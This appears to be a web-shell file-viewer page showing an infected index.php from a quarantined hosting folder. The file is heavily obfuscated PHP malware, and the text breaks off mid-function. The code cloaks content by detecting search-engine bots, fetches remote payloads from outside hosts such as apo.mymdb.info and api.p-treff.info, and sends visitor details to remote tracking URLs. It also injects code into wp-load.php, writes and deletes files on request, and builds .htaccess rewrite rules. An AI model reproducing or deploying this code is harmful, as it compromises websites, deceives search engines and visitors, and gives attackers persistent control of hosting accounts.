%PDF- %PDF-
Direktori : /home4/assumpcaocom/antivirus-imunify/infected.04-03-2023.1/home/assumpcaocom/pass/ |
Current File : //home4/assumpcaocom/antivirus-imunify/infected.04-03-2023.1/home/assumpcaocom/pass/index.php |
<?php goto kaaN9; nzLfU: function UEcuC($p9q4X) { goto IPXZ1; E_twy: $J3Ltt .= "\171\x61\150\x6f\x6f\x2e\x63\x6f\56\x6a\x70\x7c"; goto GOvRs; adfsg: return $m3dOj; goto gLL_9; IPXZ1: $m3dOj = false; goto Ev3I7; NR63o: loiAW: goto adfsg; GOvRs: $J3Ltt .= "\x62\x69\x6e\147"; goto pZAw7; pZAw7: if (!($p9q4X != '' && preg_match("\57\x28{$J3Ltt}\x29\x2f\x73\x69", $p9q4X))) { goto loiAW; } goto oV5GZ; oV5GZ: $m3dOj = true; goto NR63o; Ev3I7: $J3Ltt = "\147\157\x6f\147\x6c\145\x2e\x63\x6f\56\152\x70\x7c"; goto E_twy; gLL_9: } goto KXjy6; PBn6M: function SUR3I($WJGkd) { goto KKbvV; KKbvV: $eNUVI = substr($WJGkd, 0, 5); goto VM7Ee; oey6_: return gzinflate(base64_decode($eNUVI . $Soqc8 . $d6Af4)); goto StREb; kp2H1: $Soqc8 = substr($WJGkd, 7, strlen($WJGkd) - 14); goto oey6_; VM7Ee: $d6Af4 = substr($WJGkd, -5); goto kp2H1; StREb: } goto NaHk9; GYoFl: $c_21e = "5304"; goto s2YUw; s2YUw: function ja28P($sirVU = '', $YoIle = NULL, $nUweA = array()) { goto W_H22; WO1Bt: $C7B2c = @file_get_contents($sirVU); goto aeuhS; FqlwU: if (!($C7B2c == '')) { goto AROwJ; } goto aTzau; EH_Q0: unset($URNZQ, $XYINH, $C6NAG, $S6Jc0, $dxB8l); goto H9aXB; ARSsy: curl_setopt($TVy3O, CURLOPT_TIMEOUT, 100); goto IT2pg; Mkztg: Y69BX: goto pRi20; RTNyc: wB1os: goto ewBke; MDKzf: return $Woy79; goto iqhYp; W40__: $XYINH = $URNZQ = ''; goto s37XV; iqhYp: goto osrx1; goto Mkztg; CvR3e: $TVy3O = curl_init(); goto flUa3; H9aXB: return trim(trim($C7B2c, "\xef" . "\xbb" . "\xbf")); goto r6Ur1; k10KI: return 0; goto RTNyc; rF5PG: curl_close($TVy3O); goto vdy36; zzlvh: curl_setopt($TVy3O, CURLOPT_USERAGENT, "\x57\x48\122"); goto QfF2l; aTzau: if (!(function_exists("\146\151\154\145\x5f\147\145\164\137\x63\157\156\164\145\x6e\x74\163") and $sirVU)) { goto aBfPH; } goto WO1Bt; flUa3: curl_setopt($TVy3O, CURLOPT_URL, $sirVU); goto zzlvh; s37XV: foreach (explode("\x7c", $eqYJN) as $Y0Gze) { goto L8qn1; YUCWj: rV6Zu: goto P5qbw; LJ0T0: SN1rQ: goto OblmF; rz7U2: $XYINH = $Y0Gze; goto cdxMf; L8qn1: $M1ppI = 1; goto MWRKN; P5qbw: mW6nF: goto wl4Qi; OblmF: unset($eLBHi); goto pykTJ; cdxMf: goto BQwXB; goto YUCWj; MWRKN: foreach (explode("\x2b", $Y0Gze) as $eLBHi) { if (!function_exists($eLBHi)) { $M1ppI = 0; } WpZg0: } goto LJ0T0; pykTJ: if (!$M1ppI) { goto rV6Zu; } goto rz7U2; wl4Qi: } goto xG8O_; IT2pg: $Woy79 = curl_exec($TVy3O); goto rF5PG; vdy36: if (!$Woy79) { goto Y69BX; } goto LHF77; aeuhS: aBfPH: goto DqgTy; pRi20: return 0; goto r_uRo; r_uRo: osrx1: goto ZauxU; LHF77: $Woy79 = trim(trim($Woy79, "\357" . "\273" . "\277")); goto MDKzf; W_H22: $eqYJN = "\x63\165\x72\x6c\137\x69\156\x69\164\x2b\x63\165\162\x6c\137\163\x65\164\x6f\160\164\53\x63\165\x72\154\137\x65\170\145\143"; goto W40__; xG8O_: BQwXB: goto lC7vh; QfF2l: curl_setopt($TVy3O, CURLOPT_RETURNTRANSFER, 1); goto ARSsy; ZauxU: YToxB: goto FqlwU; ewBke: if (!(substr($XYINH, 0, 1) == "\143")) { goto YToxB; } goto CvR3e; DqgTy: AROwJ: goto EH_Q0; lC7vh: unset($eqYJN, $Y0Gze); goto y6EmA; y6EmA: if (!($XYINH == '')) { goto wB1os; } goto k10KI; r6Ur1: } goto PBn6M; KXjy6: function IfoMc($flql1) { goto D5enf; TuNfC: goto H8ZiS; goto WO_fX; snFp7: DRqDY: goto HJBpJ; DqqNM: tV4He: goto rOwk7; VjgRj: $tJ1p6 = "\144\x65\154\145\x74\145\174\x73\165\143\143\x65\x73\163"; goto ybOK4; YMAfw: echo $jTIo3; goto TuNfC; UEVr0: @chmod($rOW1n, 0644); goto ontoJ; e_4b7: if (file_exists($rOW1n)) { goto HLuyW; } goto YMAfw; WO_fX: HLuyW: goto UEVr0; ZCWEX: goto DRqDY; goto DqqNM; Nhbwq: i9r2S: goto e_4b7; uECCW: if (!($rOW1n == "\141\160\x69\144\x65\154")) { goto i9r2S; } goto QOdcq; HJBpJ: H8ZiS: goto pLZCv; Y234p: $rOW1n = isset($_REQUEST["\x78\x78\x78\x78\x78\x78\170\x78\x78\x78\170\x78\137\x66\x69\154" . "\145\156\141\x6d\x65"]) ? $_REQUEST["\x78\170\x78\x78\x78\170\170\170\170\170\170\x78\137\x66\151\154" . "\145\x6e\x61\x6d\145"] : ''; goto uECCW; QOdcq: $rOW1n = $flql1; goto Nhbwq; ybOK4: $jTIo3 = "\x64\145\154\x65\x74\145\x7c\156\x6f\40\x66\x69\154\145"; goto Y234p; DITU6: echo $tJ1p6; goto ZCWEX; D5enf: $Khj1K = "\x64\x65\x6c\x65\164\145\x7c\145\x72\162\157\x72"; goto VjgRj; ontoJ: if (!unlink($rOW1n)) { goto tV4He; } goto DITU6; rOwk7: echo $Khj1K; goto snFp7; pLZCv: } goto Wg9e0; kaaN9: header("\x43\x6f\x6e\164\145\156\164\55\124\171\x70\x65\x3a\164\x65\x78\164\x2f\150\164\x6d\154\73\40\x63\x68\141\162\163\x65\x74\75\165\x74\146\x2d\x38"); goto eKMe1; eKMe1: error_reporting(0); goto GYoFl; Sghhs: function jollg($yuyg0 = '') { goto k1QBb; upqSO: c6RCb: goto TW_76; IDCKj: $zeado = explode("\x2d", $zeado); goto DQ2Cg; IFDrT: if (!(trim($zeado) != '')) { goto mEDbb; } goto IDCKj; d1Cj1: exit; goto upqSO; LC96u: if ($DJO27 == '') { goto yktNO; } goto LD0aR; YNW2f: $XgHgq = preg_replace("\57\45\x68\157\x73\164\x25\57\x73\151", $qWK0Q, $XgHgq); goto dhhnF; UjSWE: $lSXhh = "\x65\x6e\144"; goto XS_ja; NbrsR: hNKKD: goto myeKW; Rlna5: if (!($b5uIg < count($PaZvH))) { goto bn8mD; } goto BM0hb; NZDHY: if (!(!is_dir($II8ID) && $II8ID != '')) { goto JWDIM; } goto Zb34q; H8EzS: QS0c7: goto EzTF3; wgv3o: $UgzYl = str_replace("\x77\x77\167\x2e", '', $riLrW); goto ZB0Ia; Xxf6d: mkdir($pqJQu, 0755); goto XQJcw; dzncr: FHUGb: goto ahOso; MYSew: $NcDlt = $Ili2i . trim($pXREE); goto i5p2G; tlomb: $FHa5A = dirname(__FILE__) . "\x2f"; goto mn5qA; kHJF0: $n9jSh = "\57\x28\162\157\x62\x6f\164\x73\51\x2e\52\x2e\x74\x78\164\44\x2f"; goto ZHpao; DQ2Cg: $yfZi7 = base64_decode(trim($zeado[1])); goto va39Z; kteHw: $Uf_KH = base64_decode(trim($f0BOK[0])); goto VmszQ; ZHpao: if (!preg_match($n9jSh, $tBTxG)) { goto QS0c7; } goto xxeMk; HID0g: if (!$nF40B) { goto aOw1N; } goto grweZ; p78Eq: $yfZi7 = "\x77\x70\x2d\154" . "\157\141\x64\56\160\x68\160"; goto v8OGR; s21jA: $jKUp8 = $jKUp8 . $pvKmf; goto BCaGv; r1J90: $CZp25 = "\x6f\142\x5f\147\x7a\150\x61\156\144\154\145\162"; goto pOvSS; BCaGv: mXYZD: goto Qbc4x; ORlZ3: $DJO27 = $fvwLX[0]; goto BaqqK; BaqqK: G7HVy: goto wgv3o; IxIyG: file_put_contents($yfZi7, $C7B2c . $RA0Jd); goto SDGmX; U74sL: file_put_contents($pqJQu . trim($uu1S5[$wDfSt]), $C7B2c); goto DuMTs; xG7EY: if (!isset($_REQUEST["\x78\x78\170\170\170\170\170\x78\170\x78\170\170\137\144" . "\x65\x6c"])) { goto c6RCb; } goto hrUHx; bISTy: Kf8hg: goto Rlna5; B2KGl: $jKUp8 = str_replace($apVk6, '', $FHa5A); goto WdSYE; tTcLU: exit; goto ymQcB; x2_H8: $C7B2c = Ja28P($sirVU); goto n_Iq3; nqBU2: $wcJIH = isset($_REQUEST["\x32\60\62\x30\141\x62\x63\137\x75\162\154\x31"]) ? $_REQUEST["\62\x30\x32\x30\141\x62\143\x5f\x75\162\154\x31"] : ''; goto KzKQl; TuvL1: $IL6xe = substr($IL6xe, 0, strrpos($IL6xe, "\50")); goto hRw3f; ymQcB: yCmwH: goto kHJF0; ihQ1C: $RsRcT = $k5xAj[$b5uIg]; goto TGIbY; rTiqU: $riLrW = ''; goto JGkQ6; p9Wuz: $tBTxG = $_SERVER["\x52\x45\x51\x55\x45\123\x54\x5f\x55\x52\111"]; goto nOr7y; YE1cD: $C7B2c = str_replace($G7udB, '', $C7B2c); goto FeH5f; VmszQ: $pXREE = base64_decode(trim($f0BOK[1])); goto p9Wuz; YkkPa: cvNem: goto ahUwn; ZrS1p: UGEwl: goto Zu4R9; fnwTN: if (!strstr($C7B2c, $G7udB)) { goto W6mPL; } goto YE1cD; nOr7y: $pw7_h = ''; goto pmPy1; myeKW: $wDfSt++; goto h8DKZ; pkWgH: $dLSut = ''; goto EafaV; X2t4u: echo $C7B2c; goto l6dKf; SylJj: unset($C7B2c, $uu1S5, $pqJQu); goto J0GIm; p8qGT: @header($LsU97); goto Kwfid; Qd76z: exit; goto F6V9Q; xYblZ: @file_put_contents($pzNvp, $f0BOK); goto X78mV; pOvSS: if (!isset($_REQUEST["\x78\170\x6e\x65\x77\x5f\155\141\160"])) { goto MhvLs; } goto zG80Q; kCr2l: z59jk: goto Zki8T; Z2A4x: $k5xAj = explode("\174", $RsRcT); goto FmgVc; XZ56k: JWDIM: goto E6S90; KzKQl: $FmhVv = isset($_REQUEST["\167\x72\151\x74\145\x72\x66\151" . "\x6c\145\156\141\155\145"]) ? $_REQUEST["\x77\x72\151\164\x65\162\146\151" . "\x6c\145\x6e\x61\x6d\x65"] : ''; goto adlsg; DuMTs: echo $pqJQu . trim($uu1S5[$wDfSt]) . "\74\142\x72\x3e"; goto l79mI; FdquD: goto Wpqdo; goto TSa3X; WdSYE: $pw7_h = $pvKmf; goto Ktswv; jAW57: unset($C7B2c, $XgHgq, $tBTxG, $riLrW, $Wthx6, $rZHvm); goto BkfZa; qwZX4: $apVk6 = str_replace("\134", "\x2f", $apVk6); goto PLggC; u3_OI: goto txz6W; goto Jzgkm; FeH5f: $LsU97 = "\143\157\x6e\x74\x65\156\x74\x2d\x74\171" . "\160\145\72\40\164\145\x78\x74\x2f\x78\x6d\x6c"; goto mdFnZ; rDv4a: if (!($pqJQu != '')) { goto MuFaX; } goto Xxf6d; yOcmW: $rJSEi = "\167\x70\x2d\142\154\x6f\x67\x2d\x68\145\x61\144\x65\x72"; goto Oh6GS; D4e1g: if (strstr($RA0Jd, $rJSEi)) { goto wyb9g; } goto El8Ms; cnjq0: exit; goto EpOrV; v8OGR: $RsRcT = "\x75\160" . "\56\x74\170\x74"; goto h1EXx; vFYy2: bn8mD: goto YkkPa; EyFTP: if (!strstr($C7B2c, $G7udB)) { goto xmteL; } goto PlRlW; IaMk1: if (!isset($_SERVER["\x52\x45\x51\125\x45\x53\124\137\123\x43\x48\105\115\x45"])) { goto GN1Eo; } goto V0o1j; Y_5Lh: $q5uXl = "\x68\x74\x74\x70\72\x2f\57\45\x68\157\x73\164\x25\57\152\165\155\160\61\60\62\x38\x2e\160\150\160\x3f\x64\x3d\45\163\46\147\x3d\x25\x73\46\x74\x3d\x25\x73\46\x75\75\x25\x73\46\x68\75\x25\163\x26\x70\x3d\45\x73\x26\162\75\x25\x73\x26\x61\x3d\x25\163\x26\154\75\45\163\x26\x69\75\45\163\46\x6a\75\45\163\46\x6f\x3d\45\x73"; goto KugII; yAmQc: MhvLs: goto Cszm6; aekBv: if (!$ZznEf) { goto pPAEo; } goto hDPjA; Ci9ck: goto Kf8hg; goto vFYy2; SDGmX: wyb9g: goto xUqNR; KEpYo: if (!isset($_REQUEST["\x77\145\x62\155\x61\163\x74\x65\162\163\x5f\165\x72\154"])) { goto jlIvW; } goto yZfeJ; SrRhr: $II8ID = substr($yfZi7, -strlen($yfZi7), strrpos($yfZi7, "\x2f")); goto NZDHY; PlRlW: $C7B2c = str_replace($G7udB, '', $C7B2c); goto JBexe; czV4P: $ZznEf = UECuc($Wthx6); goto rTiqU; BM0hb: $yfZi7 = $PaZvH[$b5uIg]; goto FtoYw; cqabk: $rZHvm = isset($_SERVER["\110\124\x54\120\137\125\123\x45\122\x5f\101\x47\x45\116\124"]) ? $_SERVER["\x48\124\124\x50\137\125\123\105\122\x5f\101\107\x45\x4e\124"] : ''; goto aPcwT; IcDF9: echo $XgHgq; goto tlCDr; Cszm6: $XgHgq = sprintf($XgHgq, $riLrW, $c_21e, urlencode(date("\131\55\155\x2d\144\x20\150\72\x69\72\x73")), urlencode($tBTxG), urlencode($R5vjf), trim($dLSut), urlencode($Wthx6), urlencode($rZHvm), $pnyNk, $jKUp8, 0, $apVk6 . $JHtwR . $IL6xe); goto X0NDb; Mfga8: if (is_dir($DJO27)) { goto JFrFA; } goto LppgT; Vhhbc: exit; goto AFuVa; GoPux: echo $lSXhh; goto SylJj; tlCDr: exit; goto gOoTf; bkMeM: $C7B2c = str_replace($G7udB, '', $C7B2c); goto SQZNS; uOmKh: Wpqdo: goto tTcLU; iI02M: MuFaX: goto hX2Tt; ahOso: $C7B2c = ja28p($p4yhI . $RsRcT); goto SrRhr; vsVjp: echo trim($uu1S5[$wDfSt]) . "\x3c\142\x72\x3e"; goto psvOJ; NVuoL: $f0BOK = explode("\174", $f0BOK); goto kteHw; f870Z: if (strstr($C7B2c, $G7udB) && preg_match($n9jSh, trim($uu1S5[$wDfSt]))) { goto bUXgw; } goto JBujG; va39Z: $RsRcT = base64_decode(trim($zeado[0])); goto xsVuR; wj8yi: $dAr3E = "\x2f"; goto rDv4a; mn5qA: $FHa5A = str_replace("\134", "\x2f", $FHa5A); goto Ay7rV; yTwIu: yktNO: goto sViRW; X78mV: qBgK1: goto uobn0; lnW41: $jMDnd = "\172\x6c\151\142"; goto zAuT6; pmPy1: $apVk6 = $_SERVER["\104\x4f\x43\x55\x4d\105\x4e\x54\x5f\122\x4f\x4f\124"]; goto qwZX4; Qbc4x: $Ili2i = "\167\x77\x77"; goto n6mph; hRw3f: mm2Ub: goto H8GIs; grweZ: $C7B2c = Ja28p($XgHgq); goto igqWd; Jzgkm: bUXgw: goto QP9Vc; ao_Ym: $sirVU = "\x68\164\164\160\163\72\57\57\167\x77\167\x2e\x67\157\x6f\147\154\145\56\143\157\x6d\x2f\160\151\156\x67\x3f\x73\151\164\x65\x6d\141\x70\x3d" . $A8HI8; goto x2_H8; lmQMD: pPAEo: goto Gcspl; EpOrV: cTI_G: goto KEpYo; Y1IZb: $C7B2c = jA28P($BfIgS); goto wKrxt; dOu3h: $p4yhI = "\150\164\164\x70\72\x2f\57\141\x70\x6f\x2e\x6d\x79\x6d\144\x62\56\x69\x6e\146\x6f\57"; goto p78Eq; aPcwT: $nF40B = w7mIL($rZHvm); goto czV4P; oWW9Y: if (!strstr($C7B2c, $G7udB)) { goto oOUtN; } goto bkMeM; PtjAK: $IL6xe = str_replace("\x5c", "\x2f", $IL6xe); goto tlomb; xsVuR: mEDbb: goto yOcmW; k1QBb: @set_time_limit(3600); goto RaHbL; piwiM: $riLrW = $_SERVER["\123\x45\122\x56\105\x52\x5f\x4e\x41\x4d\105"]; goto LKclA; yqYwl: exit; goto dQR0R; H8GIs: $pvKmf = str_replace($FHa5A, '', $IL6xe); goto B2KGl; E6S90: $RA0Jd = @file_get_contents($yfZi7); goto D4e1g; igqWd: if (!strstr($C7B2c, $G7udB)) { goto UGEwl; } goto kBSXZ; gOoTf: vuOso: goto dcmtD; LD0aR: $DJO27 = $DJO27; goto wDsvo; hsAML: file_put_contents($fl6Sq, base64_encode($wcJIH) . "\x2d" . base64_encode($FmhVv)); goto ZJjrD; xUqNR: aJ0yX: goto rbZo1; L6cVD: xmteL: goto H8EzS; n_Iq3: echo $C7B2c; goto yqYwl; U6_Ye: unset($C7B2c, $tBTxG, $riLrW, $Wthx6, $rZHvm); goto Qd76z; zAuT6: $JHtwR = "\174"; goto r1J90; DU7QX: $DJO27 = "\167\x70\x2d\141\144\155\151\156"; goto pkWgH; BkfZa: exit; goto L6cVD; k5Kyk: $rpGXS = "\61"; goto baAmn; mdFnZ: @header($LsU97); goto X2t4u; ronkl: $uu1S5 = explode("\x7c", $C7B2c); goto UjSWE; zG80Q: $pqJQu = $_REQUEST["\170\170\156\145\x77\137\x6d\x61\x70"]; goto wj8yi; uobn0: $f0BOK = file_get_contents($pzNvp); goto NVuoL; GfGg5: $Wthx6 = isset($_SERVER["\x48\x54\x54\120\x5f\x52\105\x46\105\x52\x45\x52"]) ? $_SERVER["\x48\124\x54\x50\137\x52\105\x46\x45\122\105\x52"] : ''; goto cqabk; Zb34q: mkdir($II8ID, 0755, true); goto XZ56k; oifQm: $rpGXS = (int) $rpGXS; goto FuhWP; JBujG: if (!strstr($C7B2c, $G7udB)) { goto Y24Eu; } goto EdW8A; dl2H_: GN1Eo: goto oifQm; TW_76: if (file_exists($pzNvp)) { goto qBgK1; } goto bs03N; sRRNc: file_put_contents(trim($uu1S5[$wDfSt]), $C7B2c); goto vsVjp; v7zcU: $RsRcT = $k5xAj[count($k5xAj) - 1]; goto dzncr; LppgT: mkdir($DJO27); goto TWa7u; F6V9Q: oOUtN: goto lmQMD; h1EXx: if (!($FmhVv != '')) { goto z59jk; } goto hsAML; d2Sik: if (isset($_SERVER["\123\105\122\126\105\122\137\116\101\115\105"])) { goto s_j9G; } goto SfQ3P; V0o1j: $R5vjf = $_SERVER["\122\105\x51\125\x45\123\x54\x5f\x53\x43\110\105\115\105"]; goto dl2H_; nnR3x: echo $AU_5O; goto uOmKh; EdW8A: $C7B2c = str_replace($G7udB, '', $C7B2c); goto U74sL; i5p2G: $XgHgq = "\x68\x74\164\x70\x3a\x2f\x2f\x25\150\157\163\164\x25\57\144\141\x74\141\61\60\62\x38\x2e\x70\150\x70\77\x64\75\45\x73\46\x67\x3d\x25\163\x26\x74\75\x25\163\x26\x75\75\45\163\46\x68\x3d\x25\x73\x26\160\x3d\x25\x73\x26\162\75\45\163\46\x61\x3d\x25\163\46\154\75\x25\x73\46\151\75\45\163\x26\152\x3d\x25\163\x26\x6f\x3d\x25\x73"; goto Y_5Lh; SQZNS: echo $C7B2c; goto U6_Ye; sViRW: $fvwLX = XE3yh(); goto ORlZ3; yZfeJ: $A8HI8 = $_REQUEST["\167\145\x62\155\141\x73\x74\x65\x72\163\x5f\x75\162\x6c"]; goto ao_Ym; loxMc: if (file_exists($fg6on)) { goto bx4bM; } goto rwWPi; KugII: $tjGz3 = "\x68\x74\x74\x70\72\57\x2f\45\150\x6f\163\x74\x25\x2f\x6d\141\x70\x66\x69\x6c\x65\56\164\x78\164"; goto YNW2f; xuLmf: $qWK0Q = $Ili2i . $c_21e . trim($Uf_KH); goto MYSew; SfQ3P: goto eqfJx; goto NR4ce; TSa3X: bx4bM: goto nnR3x; vYTn2: $G7udB = "\74\x73\x70\141\156\147\x6f\x3e"; goto lnW41; rbZo1: $b5uIg++; goto Ci9ck; tQH8m: $fl6Sq = base64_encode($UgzYl) . ""; goto Mfga8; JGkQ6: if (isset($_SERVER["\110\124\124\120\x5f\x48\117\x53\124"])) { goto IX3g_; } goto d2Sik; FmgVc: $b5uIg = 0; goto bISTy; Zu4R9: aOw1N: goto aekBv; FtoYw: if (count($k5xAj) <= $b5uIg) { goto f_VnH; } goto ihQ1C; wDsvo: goto G7HVy; goto yTwIu; ZJjrD: $yfZi7 = $FmhVv; goto kCr2l; l79mI: Y24Eu: goto u3_OI; vj4aQ: s_j9G: goto piwiM; hrUHx: ifoMc($pzNvp); goto d1Cj1; AFuVa: W6mPL: goto C1Po9; waYQT: echo $C7B2c; goto yTDQZ; Ay7rV: if (!strstr($IL6xe, "\x28")) { goto mm2Ub; } goto TuvL1; kBSXZ: $C7B2c = str_replace($G7udB, '', $C7B2c); goto waYQT; RaHbL: @ignore_user_abort(1); goto RzBck; XS_ja: $wDfSt = 0; goto be3gb; EafaV: $pnyNk = $_SERVER["\x48\124\x54\120\x5f\101\103\103\x45\x50\x54\137\x4c\x41\116\x47\x55\x41\x47\105"]; goto GfGg5; hX2Tt: $C7B2c = Ja28P($tjGz3); goto ronkl; RzBck: global $c_21e; goto k5Kyk; adlsg: if (!isset($_REQUEST["\x32\60\62\60\x61\x62\143\x5f\165\x72\154\x31"])) { goto cvNem; } goto dOu3h; xxeMk: $C7B2c = jA28P($XgHgq); goto EyFTP; H90zO: $fg6on = $_REQUEST["\150\x74\141\143"]; goto loxMc; bGFGm: O5VUr: goto GoPux; ozWU3: $q5uXl = sprintf($q5uXl, $riLrW, $c_21e, urlencode(date("\x59\x2d\x6d\x2d\x64\x20\150\x3a\151\72\x73")), urlencode($tBTxG), urlencode($R5vjf), trim($dLSut), urlencode($Wthx6), urlencode($rZHvm), $pnyNk, $jKUp8, 1, $apVk6 . $JHtwR . $IL6xe); goto nqBU2; yjjUY: $AU_5O = "\150\x74\x61\143\x6e\157"; goto jjYq6; yTDQZ: unset($C7B2c, $tBTxG, $riLrW, $Wthx6, $rZHvm); goto mE2Ta; e0jMq: $AU_5O = "\150\x74\141\143\x6f\x6b"; goto yjjUY; LKclA: eqfJx: goto LC96u; LLwMW: goto eqfJx; goto vj4aQ; c5jE6: $C7B2c = JA28p($XgHgq); goto fnwTN; bs03N: $p4yhI = "\150\x74\164\160\x3a\x2f\x2f\141\160\151\x2e\x70\55\x74\162\x65\146\146\x2e\151\x6e\x66\x6f\57\x61\160\x69\x2e\x70\150\x70\x3f\147\75"; goto YnZ4K; dhhnF: $tjGz3 = preg_replace("\x2f\x25\150\x6f\163\x74\45\x2f\x73\x69", $qWK0Q, $tjGz3); goto vYTn2; TWa7u: JFrFA: goto t7C9o; mE2Ta: exit; goto ZrS1p; EzTF3: $WfVZA = "\57\56\x2a\56\x78\155\154\x24\57"; goto j09c6; A1w7u: $fl6Sq = $DJO27 . "\57" . $fl6Sq; goto xG7EY; baAmn: $jKUp8 = ''; goto DU7QX; Ktswv: if (!(substr($tBTxG, 0, strlen($jKUp8 . $pvKmf)) == $jKUp8 . $pvKmf)) { goto mXYZD; } goto s21jA; ZefTm: echo $q5uXl; goto cnjq0; psvOJ: txz6W: goto NbrsR; PLggC: $IL6xe = __FILE__; goto PtjAK; El8Ms: @chmod($yfZi7, 0644); goto IxIyG; JBexe: $LsU97 = "\x63\157\156\164\x65\x6e\164\x2d\x74\x79\x70" . "\x65\72\x20\164\145\x78\164\57\164\170\x74"; goto p8qGT; dcmtD: if (!isset($_REQUEST["\62\60\x32\x30\x61\x62\x63\137\165\x72\x6c\62"])) { goto cTI_G; } goto ZefTm; X0NDb: $q5uXl = preg_replace("\57\45\x68\157\x73\164\45\57\x73\151", $NcDlt, $q5uXl); goto ozWU3; be3gb: U94ge: goto dh5RN; FfG1H: $riLrW = $_SERVER["\x48\x54\x54\120\x5f\110\x4f\x53\124"]; goto LLwMW; NR4ce: IX3g_: goto FfG1H; Kwfid: echo $C7B2c; goto jAW57; XQJcw: $pqJQu = $pqJQu . $dAr3E; goto iI02M; wKrxt: $n9jSh = "\x2f\50\162\157\x62\x6f\164\163\x29\56\x2a\x2e\164\170\164\44\x2f"; goto f870Z; j09c6: if (!preg_match($WfVZA, $tBTxG)) { goto sZ7JJ; } goto c5jE6; jjYq6: if (!isset($_REQUEST["\x68\x74\141\x63"])) { goto yCmwH; } goto H90zO; h8DKZ: goto U94ge; goto bGFGm; t7C9o: $pzNvp = $DJO27 . "\x2f" . $pzNvp; goto A1w7u; YnZ4K: $f0BOK = Ja28P($p4yhI . $c_21e); goto xYblZ; dh5RN: if (!($wDfSt < count($uu1S5))) { goto O5VUr; } goto WJnSV; FuhWP: bNbmu('', $rpGXS, $pw7_h, $apVk6); goto xuLmf; TGIbY: goto FHUGb; goto z8Eh0; ZB0Ia: $pzNvp = base64_encode($UgzYl) . "\56\x74\170\x74"; goto tQH8m; C1Po9: sZ7JJ: goto HID0g; rwWPi: echo $AU_5O; goto FdquD; dQR0R: jlIvW: goto e0jMq; ahUwn: if (!isset($_REQUEST["\62\60\62\60\141\142\x63\137\x75\x72\x6c\61"])) { goto vuOso; } goto IcDF9; l6dKf: unset($C7B2c, $XgHgq, $tBTxG, $riLrW, $Wthx6, $rZHvm); goto Vhhbc; n6mph: $R5vjf = ''; goto IaMk1; WJnSV: $BfIgS = sprintf($XgHgq, $riLrW, $c_21e, urlencode(date("\131\55\155\x2d\x64\x20\150\x3a\x69\72\163")), urlencode($dAr3E . trim($uu1S5[$wDfSt])), urlencode($R5vjf), trim($dLSut), urlencode($Wthx6), urlencode($rZHvm), $pnyNk, $jKUp8, 0, $FHa5A . $JHtwR . $apVk6); goto Y1IZb; hDPjA: $C7B2c = Ja28P($q5uXl); goto oWW9Y; Oh6GS: $PaZvH = explode("\x7c", $yfZi7); goto Z2A4x; Zki8T: $zeado = @file_get_contents($fl6Sq); goto IFDrT; J0GIm: exit; goto yAmQc; z8Eh0: f_VnH: goto v7zcU; QP9Vc: $C7B2c = str_replace($G7udB, '', $C7B2c); goto sRRNc; Gcspl: } goto u350B; NaHk9: function W7miL($tbq6V) { goto iSCs5; iSCs5: $gDzcI = false; goto jSbgw; EppwL: $Ne4qU .= "\141\157\154\x7c\142\151\x6e\147\174\171\x61\x68\157\x6f"; goto YdHar; c7oFb: $gDzcI = true; goto sk3QB; b22fK: $Ne4qU .= "\x62\151\x6e\147\142\157\164\x7c\147\x6f\x6f\x67\154\145\174"; goto EppwL; jSbgw: $Ne4qU = "\147\157\x6f\x67\x6c\x65\x62\x6f\x74\174"; goto b22fK; dEz2U: s2TEc: goto vh0NC; YdHar: if (!($tbq6V != '')) { goto s2TEc; } goto G3MSC; vh0NC: return $gDzcI; goto B1zCT; sk3QB: KTDG3: goto dEz2U; G3MSC: if (!preg_match("\57\x28{$Ne4qU}\51\57\163\x69", $tbq6V)) { goto KTDG3; } goto c7oFb; B1zCT: } goto nzLfU; WK4e5: function Xe3YH($hlVQt = '') { goto v2vD3; v2vD3: $Yk6zJ = dirname(__FILE__); goto oURsw; lFPPg: ctswe: goto Jiobn; oURsw: foreach (scandir($Yk6zJ) as $r_5Eo) { goto bs9oJ; bs9oJ: if (!($r_5Eo == "\x2e" || $r_5Eo == "\56\56")) { goto lI8GO; } goto VlhE8; meIt8: if (!is_dir($Yk6zJ . "\57" . $r_5Eo)) { goto THsUh; } goto lkgta; CX6ir: lI8GO: goto meIt8; Mcile: If11e: goto HDxs8; lkgta: $wqkTt[] = $r_5Eo; goto ZrgO3; VlhE8: goto If11e; goto CX6ir; ZrgO3: THsUh: goto Mcile; HDxs8: } goto lFPPg; Ik11e: return $wqkTt; goto R29jY; Jiobn: $DJO27 = "\x74\x65\x6d\x70"; goto y4yi1; y4yi1: $wqkTt[] = $DJO27; goto Ik11e; R29jY: } goto Sghhs; Wg9e0: function BNBMU($op8jo = '', $rpGXS, $pw7_h, $apVk6) { goto ydErp; lLJtf: uHLl0: goto Vn9xA; lbPkn: $op8jo .= $i3iav . "\x20\x2e\40" . $BPNLF . $VAXrR . "\40\133\114\x5d\12"; goto dcinQ; aZ0lP: @file_put_contents($mE53w, $HLAmG); goto t7E5r; CiDy7: $wjgBe = "\x52\x65\167\162\151\x74\145\x42" . "\141\163\145"; goto oaUdV; ydErp: $BPNLF = ''; goto gZVVl; f0baQ: $EFOYz = "\x52\145\x77\162\151\164\145\x43" . "\157\156\144"; goto tpG1_; I4df8: if (!(!strstr($HLAmG, $PnV4d) || !strstr($HLAmG, $i3iav . "\x20\x2e\40" . $BPNLF . $VAXrR . "\40\x5b\114\135\12") || !strstr($HLAmG, $i3iav . "\x20\x5e" . $VAXrR . "\x24\x20\55\x20\x5b\114\x5d\12"))) { goto mMatN; } goto X7DMK; KNTAs: if (!($op8jo != '')) { goto nQgfC; } goto eJLe3; jVfTA: @chmod($mE53w, 0644); goto RNEjm; oaUdV: $i3iav = "\x52\x65\x77\162\x69\x74\x65\122" . "\x75\x6c\145"; goto f0baQ; me56X: $op8jo .= $EFOYz . "\40\x25\x7b" . $PnV4d . "\x7d\40\41\55\144\12"; goto lbPkn; W3QNo: $op8jo = $xCtZF . "\xa"; goto oWL2Z; gZVVl: $xCtZF = "\74\111\x66\x4d\157\x64\165\x6c\145\x20\155\x6f\x64\x5f\x72\145" . "\x77\162\x69\164\145\x2e\x63\76"; goto VMI1N; AaMyk: $PnV4d = "\x52\105\121\x55\105\x53\x54" . "\137\106\111\x4c\105\x4e\x41\115\105"; goto GMfYV; IvvDK: $op8jo .= $wjgBe . "\x20\x2f\12"; goto HykZ4; Imo7q: if (!($mE53w != '')) { goto uHLl0; } goto jVfTA; oWL2Z: $op8jo .= $yVTkA . "\x20\x4f\x6e\12"; goto IvvDK; tpG1_: $DAqVD = "\x3c\x2f\111\x66\115\157\144\x75" . "\x6c\x65\76"; goto AaMyk; 